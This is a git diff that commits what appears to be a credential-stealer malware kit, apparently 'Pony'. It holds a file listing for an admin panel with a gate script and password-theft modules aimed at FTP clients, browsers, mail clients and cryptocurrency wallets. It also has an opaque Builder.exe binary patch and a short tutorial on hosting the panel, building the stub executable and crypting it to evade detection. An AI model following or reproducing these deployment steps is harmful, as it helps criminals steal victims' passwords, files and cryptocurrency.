mode 100644 panel/includes/design/images/flags/re.gif create mode 100644 panel/includes/design/images/flags/ro.gif create mode 100644 panel/includes/design/images/flags/rs.gif create mode 100644 panel/includes/design/images/flags/ru.gif create mode 100644 panel/includes/design/images/flags/rw.gif create mode 100644 panel/includes/design/images/flags/sa.gif create mode 100644 panel/includes/design/images/flags/sb.gif create mode 100644 panel/includes/design/images/flags/sc.gif create mode 100644 panel/includes/design/images/flags/scotland.gif create mode 100644 panel/includes/design/images/flags/sd.gif create mode 100644 panel/includes/design/images/flags/se.gif create mode 100644 panel/includes/design/images/flags/sg.gif create mode 100644 panel/includes/design/images/flags/sh.gif create mode 100644 panel/includes/design/images/flags/si.gif create mode 100644 panel/includes/design/images/flags/sj.gif create mode 100644 panel/includes/design/images/flags/sk.gif create mode 100644 panel/includes/design/images/flags/sl.gif create mode 100644 panel/includes/design/images/flags/sm.gif create mode 100644 panel/includes/design/images/flags/sn.gif create mode 100644 panel/includes/design/images/flags/so.gif create mode 100644 panel/includes/design/images/flags/sr.gif create mode 100644 panel/includes/design/images/flags/st.gif create mode 100644 panel/includes/design/images/flags/sv.gif create mode 100644 panel/includes/design/images/flags/sy.gif create mode 100644 panel/includes/design/images/flags/sz.gif create mode 100644 panel/includes/design/images/flags/tc.gif create mode 100644 panel/includes/design/images/flags/td.gif create mode 100644 panel/includes/design/images/flags/tf.gif create mode 100644 panel/includes/design/images/flags/tg.gif create mode 100644 panel/includes/design/images/flags/th.gif create mode 100644 panel/includes/design/images/flags/tj.gif create mode 100644 panel/includes/design/images/flags/tk.gif create mode 100644 panel/includes/design/images/flags/tl.gif create mode 100644 panel/includes/design/images/flags/tm.gif create mode 100644 panel/includes/design/images/flags/tn.gif create mode 100644 panel/includes/design/images/flags/to.gif create mode 100644 panel/includes/design/images/flags/tr.gif create mode 100644 panel/includes/design/images/flags/tt.gif create mode 100644 panel/includes/design/images/flags/tv.gif create mode 100644 panel/includes/design/images/flags/tw.gif create mode 100644 panel/includes/design/images/flags/tz.gif create mode 100644 panel/includes/design/images/flags/ua.gif create mode 100644 panel/includes/design/images/flags/ug.gif create mode 100644 panel/includes/design/images/flags/um.gif create mode 100644 panel/includes/design/images/flags/us.gif create mode 100644 panel/includes/design/images/flags/uy.gif create mode 100644 panel/includes/design/images/flags/uz.gif create mode 100644 panel/includes/design/images/flags/va.gif create mode 100644 panel/includes/design/images/flags/vc.gif create mode 100644 panel/includes/design/images/flags/ve.gif create mode 100644 panel/includes/design/images/flags/vg.gif create mode 100644 panel/includes/design/images/flags/vi.gif create mode 100644 panel/includes/design/images/flags/vn.gif create mode 100644 panel/includes/design/images/flags/vu.gif create mode 100644 panel/includes/design/images/flags/wales.gif create mode 100644 panel/includes/design/images/flags/wf.gif create mode 100644 panel/includes/design/images/flags/ws.gif create mode 100644 panel/includes/design/images/flags/ye.gif create mode 100644 panel/includes/design/images/flags/yt.gif create mode 100644 panel/includes/design/images/flags/za.gif create mode 100644 panel/includes/design/images/flags/zm.gif create mode 100644 panel/includes/design/images/flags/zw.gif create mode 100644 panel/includes/design/images/footer_bg.gif create mode 100644 panel/includes/design/images/hline.jpg create mode 100644 panel/includes/design/images/left_bg.gif create mode 100644 panel/includes/design/images/lock_open.png create mode 100644 panel/includes/design/images/main_bg.gif create mode 100644 panel/includes/design/images/member_login_bg.gif create mode 100644 panel/includes/design/images/modules/module_32bitftp.png create mode 100644 panel/includes/design/images/modules/module_3dftp.png create mode 100644 panel/includes/design/images/modules/module_aceftp.png create mode 100644 panel/includes/design/images/modules/module_alftp.png create mode 100644 panel/includes/design/images/modules/module_anoncoin.png create mode 100644 panel/includes/design/images/modules/module_bbqcoin.png create mode 100644 panel/includes/design/images/modules/module_becky.png create mode 100644 panel/includes/design/images/modules/module_bitcoin.png create mode 100644 panel/includes/design/images/modules/module_bitcoin_armory.png create mode 100644 panel/includes/design/images/modules/module_bitkinex.png create mode 100644 panel/includes/design/images/modules/module_blazeftp.png create mode 100644 panel/includes/design/images/modules/module_bromium.png create mode 100644 panel/includes/design/images/modules/module_bulletproof.png create mode 100644 panel/includes/design/images/modules/module_bytecoin.png create mode 100644 panel/includes/design/images/modules/module_cert.png create mode 100644 panel/includes/design/images/modules/module_chrome.png create mode 100644 panel/includes/design/images/modules/module_chromeplus.png create mode 100644 panel/includes/design/images/modules/module_chromium.png create mode 100644 panel/includes/design/images/modules/module_classicftp.png create mode 100644 panel/includes/design/images/modules/module_coffeecupftp.png create mode 100644 panel/includes/design/images/modules/module_comododragon.png create mode 100644 panel/includes/design/images/modules/module_coolnovo.png create mode 100644 panel/includes/design/images/modules/module_coreftp.png create mode 100644 panel/includes/design/images/modules/module_craftcoin.png create mode 100644 panel/includes/design/images/modules/module_cuteftp.png create mode 100644 panel/includes/design/images/modules/module_cyberduck.png create mode 100644 panel/includes/design/images/modules/module_deluxeftp.png create mode 100644 panel/includes/design/images/modules/module_devcoin.png create mode 100644 panel/includes/design/images/modules/module_digitalcoin.png create mode 100644 panel/includes/design/images/modules/module_dopus.png create mode 100644 panel/includes/design/images/modules/module_dreamweaver.png create mode 100644 panel/includes/design/images/modules/module_easyftp.png create mode 100644 panel/includes/design/images/modules/module_electrum.png create mode 100644 panel/includes/design/images/modules/module_epic.png create mode 100644 panel/includes/design/images/modules/module_expandrive.png create mode 100644 panel/includes/design/images/modules/module_far.png create mode 100644 panel/includes/design/images/modules/module_fastcoin.png create mode 100644 panel/includes/design/images/modules/module_fasttrack.png create mode 100644 panel/includes/design/images/modules/module_feathercoin.png create mode 100644 panel/includes/design/images/modules/module_ffftp.png create mode 100644 panel/includes/design/images/modules/module_filezilla.png create mode 100644 panel/includes/design/images/modules/module_firefox.png create mode 100644 panel/includes/design/images/modules/module_fireftp.png create mode 100644 panel/includes/design/images/modules/module_flashfxp.png create mode 100644 panel/includes/design/images/modules/module_fling.png create mode 100644 panel/includes/design/images/modules/module_flock.png create mode 100644 panel/includes/design/images/modules/module_florincoin.png create mode 100644 panel/includes/design/images/modules/module_frankocoin.png create mode 100644 panel/includes/design/images/modules/module_freeftp.png create mode 100644 panel/includes/design/images/modules/module_freicoin.png create mode 100644 panel/includes/design/images/modules/module_freshftp.png create mode 100644 panel/includes/design/images/modules/module_frigateftp.png create mode 100644 panel/includes/design/images/modules/module_fs_browser.png create mode 100644 panel/includes/design/images/modules/module_ftp_surfer.png create mode 100644 panel/includes/design/images/modules/module_ftpcommander.png create mode 100644 panel/includes/design/images/modules/module_ftpcontrol.png create mode 100644 panel/includes/design/images/modules/module_ftpdisk.png create mode 100644 panel/includes/design/images/modules/module_ftpexplorer.png create mode 100644 panel/includes/design/images/modules/module_ftpgetter.png create mode 100644 panel/includes/design/images/modules/module_ftpinfo.png create mode 100644 panel/includes/design/images/modules/module_ftpnow.png create mode 100644 panel/includes/design/images/modules/module_ftprush.png create mode 100644 panel/includes/design/images/modules/module_ftpshell.png create mode 100644 panel/includes/design/images/modules/module_ftpuploader.png create mode 100644 panel/includes/design/images/modules/module_ftpvoyager.png create mode 100644 panel/includes/design/images/modules/module_globaldownloader.png create mode 100644 panel/includes/design/images/modules/module_goftp.png create mode 100644 panel/includes/design/images/modules/module_goldcoin.png create mode 100644 panel/includes/design/images/modules/module_i0coin.png create mode 100644 panel/includes/design/images/modules/module_ie.png create mode 100644 panel/includes/design/images/modules/module_incredimail.png create mode 100644 panel/includes/design/images/modules/module_infinitecoin.png create mode 100644 panel/includes/design/images/modules/module_ixcoin.png create mode 100644 panel/includes/design/images/modules/module_junkcoin.png create mode 100644 panel/includes/design/images/modules/module_kmeleon.png create mode 100644 panel/includes/design/images/modules/module_leapftp.png create mode 100644 panel/includes/design/images/modules/module_leechftp.png create mode 100644 panel/includes/design/images/modules/module_linasftp.png create mode 100644 panel/includes/design/images/modules/module_litecoin.png create mode 100644 panel/includes/design/images/modules/module_luckycoin.png create mode 100644 panel/includes/design/images/modules/module_megacoin.png create mode 100644 panel/includes/design/images/modules/module_mincoin.png create mode 100644 panel/includes/design/images/modules/module_mozilla.png create mode 100644 panel/includes/design/images/modules/module_multibit.png create mode 100644 panel/includes/design/images/modules/module_myftp.png create mode 100644 panel/includes/design/images/modules/module_namecoin.png create mode 100644 panel/includes/design/images/modules/module_netdrive.png create mode 100644 panel/includes/design/images/modules/module_netfile.png create mode 100644 panel/includes/design/images/modules/module_nexusfile.png create mode 100644 panel/includes/design/images/modules/module_nichrome.png create mode 100644 panel/includes/design/images/modules/module_notepadpp.png create mode 100644 panel/includes/design/images/modules/module_novacoin.png create mode 100644 panel/includes/design/images/modules/module_novaftp.png create mode 100644 panel/includes/design/images/modules/module_odin.png create mode 100644 panel/includes/design/images/modules/module_opera.png create mode 100644 panel/includes/design/images/modules/module_outlook.png create mode 100644 panel/includes/design/images/modules/module_phoenixcoin.png create mode 100644 panel/includes/design/images/modules/module_pocomail.png create mode 100644 panel/includes/design/images/modules/module_ppcoin.png create mode 100644 panel/includes/design/images/modules/module_primecoin.png create mode 100644 panel/includes/design/images/modules/module_protoshares.png create mode 100644 panel/includes/design/images/modules/module_putty.png create mode 100644 panel/includes/design/images/modules/module_quarkcoin.png create mode 100644 panel/includes/design/images/modules/module_roboftp.png create mode 100644 panel/includes/design/images/modules/module_rockmelt.png create mode 100644 panel/includes/design/images/modules/module_seamonkey.png create mode 100644 panel/includes/design/images/modules/module_securefx.png create mode 100644 panel/includes/design/images/modules/module_sherrodftp.png create mode 100644 panel/includes/design/images/modules/module_smartftp.png create mode 100644 panel/includes/design/images/modules/module_softx.png create mode 100644 panel/includes/design/images/modules/module_staff.png create mode 100644 panel/includes/design/images/modules/module_tagcoin.png create mode 100644 panel/includes/design/images/modules/module_terracoin.png create mode 100644 panel/includes/design/images/modules/module_thebat.png create mode 100644 panel/includes/design/images/modules/module_thunderbird.png create mode 100644 panel/includes/design/images/modules/module_turboftp.png create mode 100644 panel/includes/design/images/modules/module_ultrafxp.png create mode 100644 panel/includes/design/images/modules/module_vs_designer.png create mode 100644 panel/includes/design/images/modules/module_webdrive.png create mode 100644 panel/includes/design/images/modules/module_websitepublisher.png create mode 100644 panel/includes/design/images/modules/module_windows_live_mail.png create mode 100644 panel/includes/design/images/modules/module_windows_mail.png create mode 100644 panel/includes/design/images/modules/module_winftp.png create mode 100644 panel/includes/design/images/modules/module_winscp.png create mode 100644 panel/includes/design/images/modules/module_winzip.png create mode 100644 panel/includes/design/images/modules/module_wiseftp.png create mode 100644 panel/includes/design/images/modules/module_worldcoin.png create mode 100644 panel/includes/design/images/modules/module_ws_ftp.png create mode 100644 panel/includes/design/images/modules/module_wtc.png create mode 100644 panel/includes/design/images/modules/module_xftp.png create mode 100644 panel/includes/design/images/modules/module_yacoin.png create mode 100644 panel/includes/design/images/modules/module_yandexinternet.png create mode 100644 panel/includes/design/images/modules/module_zetacoin.png create mode 100644 panel/includes/design/images/navigation_arrow.png create mode 100644 panel/includes/design/images/new.png create mode 100644 panel/includes/design/images/ping_bg.jpg create mode 100644 panel/includes/design/images/pony_icon.png create mode 100644 panel/includes/design/images/report.png create mode 100644 panel/includes/design/images/report_delete.png create mode 100644 panel/includes/design/images/report_user.png create mode 100644 panel/includes/design/images/reset_icon.png create mode 100644 panel/includes/design/images/right_link_bg.gif create mode 100644 panel/includes/design/images/round_left.gif create mode 100644 panel/includes/design/images/round_right.gif create mode 100644 panel/includes/design/images/setting_tools.png create mode 100644 panel/includes/design/images/top_nav_bg.gif create mode 100644 panel/includes/design/images/update_icon.png create mode 100644 panel/includes/design/images/user.png create mode 100644 panel/includes/design/images/user_bg.jpg create mode 100644 panel/includes/design/images/user_edit.png create mode 100644 panel/includes/design/images/user_icon.png create mode 100644 panel/includes/design/images/wait.gif create mode 100644 panel/includes/design/images/wait_small.gif create mode 100644 panel/includes/design/images/welcome_bg.gif create mode 100644 panel/includes/design/images/x_icon.png create mode 100644 panel/includes/design/images/x_icon_small.png create mode 100644 panel/includes/design/images/zip_icon.png create mode 100644 panel/includes/design/jquery-1.6.1.min.js create mode 100644 panel/includes/design/jquery-ui-1.8.13.custom.min.js create mode 100644 panel/includes/design/jquery.ajaxq-0.0.1.js create mode 100644 panel/includes/design/jquery.tablehover.min.js create mode 100644 panel/includes/design/jquery.ui.datepicker-ru.js create mode 100644 panel/includes/design/style.css create mode 100644 panel/includes/design/style_full.css create mode 100644 panel/includes/design/theme/images/ui-bg_flat_0_aaaaaa_40x100.png create mode 100644 panel/includes/design/theme/images/ui-bg_flat_75_ffffff_40x100.png create mode 100644 panel/includes/design/theme/images/ui-bg_glass_55_fbf9ee_1x400.png create mode 100644 panel/includes/design/theme/images/ui-bg_glass_65_ffffff_1x400.png create mode 100644 panel/includes/design/theme/images/ui-bg_glass_75_dadada_1x400.png create mode 100644 panel/includes/design/theme/images/ui-bg_glass_75_e6e6e6_1x400.png create mode 100644 panel/includes/design/theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png create mode 100644 panel/includes/design/theme/images/ui-bg_inset-soft_95_fef1ec_1x100.png create mode 100644 panel/includes/design/theme/images/ui-icons_222222_256x240.png create mode 100644 panel/includes/design/theme/images/ui-icons_2e83ff_256x240.png create mode 100644 panel/includes/design/theme/images/ui-icons_454545_256x240.png create mode 100644 panel/includes/design/theme/images/ui-icons_888888_256x240.png create mode 100644 panel/includes/design/theme/images/ui-icons_cd0a0a_256x240.png create mode 100644 panel/includes/design/theme/jquery-ui-1.8.13.custom.css create mode 100644 panel/includes/design/theme/ui.dropdownchecklist.themeroller.css create mode 100644 panel/includes/design/ui.dropdownchecklist-1.3-min.js create mode 100644 panel/includes/design/ui.dropdownchecklist.js create mode 100644 panel/includes/geoip/GeoIP.dat create mode 100644 panel/includes/geoip/geoip.inc create mode 100644 panel/includes/lang.php create mode 100644 panel/includes/misc.php create mode 100644 panel/includes/password_modules.php create mode 100644 panel/includes/pchart/class/pBarcode128.class.php create mode 100644 panel/includes/pchart/class/pBarcode39.class.php create mode 100644 panel/includes/pchart/class/pBubble.class.php create mode 100644 panel/includes/pchart/class/pCache.class.php create mode 100644 panel/includes/pchart/class/pData.class.php create mode 100644 panel/includes/pchart/class/pDraw.class.php create mode 100644 panel/includes/pchart/class/pImage.class.php create mode 100644 panel/includes/pchart/class/pIndicator.class.php create mode 100644 panel/includes/pchart/class/pPie.class.php create mode 100644 panel/includes/pchart/class/pRadar.class.php create mode 100644 panel/includes/pchart/class/pScatter.class.php create mode 100644 panel/includes/pchart/class/pSplit.class.php create mode 100644 panel/includes/pchart/class/pSpring.class.php create mode 100644 panel/includes/pchart/class/pStock.class.php create mode 100644 panel/includes/pchart/class/pSurface.class.php create mode 100644 panel/includes/pchart/fonts/arial.ttf create mode 100644 panel/includes/pchart/fonts/arialbd.ttf create mode 100644 panel/includes/pchart/fonts/pf_arma_five.ttf create mode 100644 panel/includes/templates/confirm.tpl create mode 100644 panel/includes/templates/debug_report.tpl create mode 100644 panel/includes/templates/domains.tpl create mode 100644 panel/includes/templates/error.tpl create mode 100644 panel/includes/templates/footer.tpl create mode 100644 panel/includes/templates/ftp_list.tpl create mode 100644 panel/includes/templates/header.tpl create mode 100644 panel/includes/templates/help.tpl create mode 100644 panel/includes/templates/home.tpl create mode 100644 panel/includes/templates/http_list.tpl create mode 100644 panel/includes/templates/log_list.tpl create mode 100644 panel/includes/templates/login_form.tpl create mode 100644 panel/includes/templates/management.tpl create mode 100644 panel/includes/templates/other.tpl create mode 100644 panel/includes/templates/report_list.tpl create mode 100644 panel/includes/templates/stats.tpl create mode 100644 panel/includes/templates/stopwatch.tpl create mode 100644 panel/includes/templates/success.tpl create mode 100644 panel/includes/templates/view_report.tpl create mode 100644 panel/redirect.php create mode 100644 panel/robots.txt create mode 100644 panel/setup.php diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..32a5ee87a645347b78db8e02f14f6c08147cf54f GIT binary patch literal 6148 zcmeHLJxat-5T03AHe$1-2*SI$mn;Uom3rmk-As)bESa=4% zc{8jDiC`tN%)q?wWq$HrzC1EJOGG?h6*HnK5hYN;(GG?I5x;0pMrIKw$9oiXNq6Pd zY;jTbqTTQx8IX53p`2E9LnXD|-?EO|oqX)|BbHT`6~tHmP$QK<~`ki#40Usdmr_C{_vc<%04;~-+LI2=&XPLgmf2Yz!`7` zHl6|0Y>{MF(MM;%8E^*H49NE(Km}97MlpUmFvJ!BIEFb2=F&?@PB2Uj8%1~^tf@dv zWot25(_s%5ml`&TnoexZ2iwYQ9SXr2=+S+?KskH%m1{IOGMsb~jNi4;Pl~OGK8byIU$OM=gHj1!7{D(lK L!3SsHPZ{_ESO!dZ literal 0 HcmV?d00001 diff --git a/Contjes Short Tutorial.txt b/Contjes Short Tutorial.txt new file mode 100644 index 0000000..024d34e --- /dev/null +++ b/Contjes Short Tutorial.txt @@ -0,0 +1,12 @@ +1. Upload the panel files. +2. Make a MySQL database. +3. Edit the uploadedd Config.php with your mysql logins and database. +4. Save it. +5. Go to your browser. And surf to: YOURDOMAINORIP/yourpanellocation/setup.php +6. Put the info in the setup carefully and do not lose your data's! +7. Delete the install.php from your Public_html map. +8. Surf to: YOURDOMAINORIP/yourpanellocation/admin.php and login. +9. Open the builder, and make the gate url: YOURDOMAINORIP/yourpanellocation/gate.php +& the Bin url YOURDOMAINORIP/yourpanellocation/yourstubnamethatyougonnabuild.exe +10. Make the output filename the same as you typed in the Bin url! +11. CRYPT THAT BABY AND YOU ARE READY TO GO :) \ No newline at end of file diff --git a/builder/Builder.exe b/builder/Builder.exe new file mode 100644 index 0000000000000000000000000000000000000000..4e5261d1a969a44c384fc86a1fe971b66622563a GIT binary patch literal 32768 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 